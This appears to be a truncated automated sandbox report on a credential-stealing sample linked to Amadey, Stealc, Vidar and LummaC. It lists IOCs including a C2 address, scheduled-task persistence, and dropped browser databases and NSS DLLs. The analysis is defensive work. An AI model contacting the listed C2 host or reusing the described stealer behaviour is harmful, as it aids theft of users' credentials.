Excluded IPs from analysis (whitelisted): 216.58.206.67, 216.58.206.78, 142.250.110.84, 34.104.35.123, 142.250.184.227, 142.250.185.170, 142.250.185.106, 142.250.185.74, 172.217.18.10, 142.250.186.74, 142.250.184.234, 216.58.212.170, 142.250.74.202, 142.250.186.106, 172.217.16.202, 172.217.23.106, 172.217.16.138, 142.250.186.138, 142.250.185.138, 216.58.212.138, 216.58.206.74, 172.217.18.106, 142.250.185.202, 142.250.186.170, 142.250.185.234, 142.250.181.234, 142.250.184.202, 142.250.186.42, 216.58.206.42, 199.232.210.172, 192.229.221.95, 13.107.42.16, 204.79.197.203, 13.107.21.239, 204.79.197.239, 142.250.186.174, 13.107.6.158, 108.141.37.120, 2.20.245.132, 2.20.245.139, 88.221.110.195, 88.221.110.179, 2.23.209.130, 2.23.209.182, 2.23.209.133, 2.23.209.187, 13.74.129.1, 204.79.197.237, 13.107.21.237, 2.23.209.45, 2.23.209.20, 2.23.209.3, 2.23.209.51, 2.23.209.59, 2.23.209.149, 48.209.144.71, 2.20.245.140, 2.20.245.135, 142.251.186.94, 142.251.116.94, 142.250.114.94
Excluded domains from analysis (whitelisted): cdp-f-ssl-tlu-net.trafficmanager.net, nav-edge.smartscreen.microsoft.com, slscr.update.microsoft.com, a416.dscd.akamai.net, img-s-msn-com.akamaized.net, data-edge.smartscreen.microsoft.com, clientservices.googleapis.com, edgeassetservice.afd.azureedge.net, star.sf.tlu.dl.delivery.mp.microsoft.com.delivery.microsoft.com, clients2.google.com, e86303.dscx.akamaiedge.net, ocsp.digicert.com, login.live.com, config-edge-skype.l-0007.l-msedge.net, www.gstatic.com, l-0007.l-msedge.net, e28578.d.akamaiedge.net, www.bing.com, assets.msn.com.edgekey.net, fs.microsoft.com, bingadsedgeextension-prod.trafficmanager.net, c-bing-com.dual-a-0034.a-msedge.net, ogads-pa.googleapis.com, prod-atm-wds-edge.trafficmanager.net, www-www.bing.com.trafficmanager.net, business-bing-com.b-0005.b-msedge.net, prod-agic-we-5.westeurope.cloudapp.azure.com, a1834.dscg2.akamai.net, edgedl.me.gvt1.com, c.bing.com, edgeassetservice.azureedge.net, clients.l.google.com, prod-agic-ne-7.northeurope.cloud
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtCreateFile calls found.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtSetInformationFile calls found.
Report size getting too big, too many NtWriteFile calls found.
Report size getting too big, too many NtWriteVirtualMemory calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
03:42:57	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
21:42:37	API Interceptor	122x Sleep call for process: file.exe modified
21:44:01	API Interceptor	88x Sleep call for process: skotes.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
23.218.232.186	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	A3W2CpXxiO.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	_Retail_Benefits_and_Commission_2024.svg	Get hash	malicious	Unknown	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
chrome.cloudflare-dns.com	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	162.159.61.3
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	172.64.41.3
	Xa04iTOvv5.exe	Get hash	malicious	Unknown	Browse	162.159.61.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
ssl.bingadsedgeextension-prod-europe.azurewebsites.net	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
plus.l.google.com	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	142.250.186.46
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	142.250.181.238
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	216.58.206.78
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.185.174
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	142.250.185.78
	https://www.hopp.bio/granovitasau	Get hash	malicious	Unknown	Browse	216.58.206.46
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	216.58.206.46
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	142.250.186.78
	file.exe	Get hash	malicious	Unknown	Browse	216.58.206.46
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	142.250.186.142

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
MICROSOFT-CORP-MSN-AS-BLOCKUS	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	13.107.246.44
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	94.245.104.56
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.42.73.31
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.60
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	20.99.185.48
	file.exe	Get hash	malicious	LummaC	Browse	13.107.246.67
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	94.245.104.56
RAYA-ASEG	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.232.170
	new.bat	Get hash	malicious	Unknown	Browse	23.218.232.146
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.232.182
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.182
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.218.232.170
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.185
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.182
	https://t.ly/-kxCO	Get hash	malicious	Braodo	Browse	23.218.232.159
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	23.218.232.182
	arm4.elf	Get hash	malicious	Mirai	Browse	197.134.36.255
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
1138de370e523e824bbca92d049a3777	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
	file.exe	Get hash	malicious	LummaC	Browse	23.1.237.91
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 184.28.90.27 40.126.32.68 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.202.163.200 184.28.90.27 40.126.32.68 13.107.246.45
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse	172.202.163.200 184.28.90.27 40.126.32.68 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 184.28.90.27 40.126.32.68 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 184.28.90.27 40.126.32.68 13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 184.28.90.27 40.126.32.68 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 184.28.90.27 40.126.32.68 13.107.246.45
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.202.163.200 184.28.90.27 40.126.32.68 13.107.246.45
	file.exe	Get hash	malicious	LummaC	Browse	172.202.163.200 184.28.90.27 40.126.32.68 13.107.246.45
	https://bit.ly/3UPULW4?LmB=chMAG137nz	Get hash	malicious	Unknown	Browse	172.202.163.200 184.28.90.27 40.126.32.68 13.107.246.45

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Cryptbot, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\BAEBGHCFCAAFIECAFIII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DBFIDGIIIJDBGDGDAKKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGDBAKKJKKECGDGCAECA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\EGIDBFBFHJDGCAKEGHJECGHCGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FHIDAFHCBAKFCAAKFCFCFIIJKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEHIJDGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JKEGHDGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2651212072653824
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMvSAELyKOMq+8yC8F/YfU5m+OlTLVumj:Bq+n0Jv9ELyKOMq+8y9/Oww
MD5:	7AB350ECC6AAEA80A32B36E097B3CEAA
SHA1:	5D1D47CB1D7501A37C4D71662060ED12926A0D9B
SHA-256:	3934E455ED07BE053FDEB3B462599C9907CB78DD2185EEC9850AE71141FA8C7C
SHA-512:	1D70F11381CA5845C0917527D30DE6DBD6DD7A7B9AB3342D3D3A01402B79901741DA8268FA813A310D645687F0F39CE21519521311F2073A45DEE18C486806B1
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
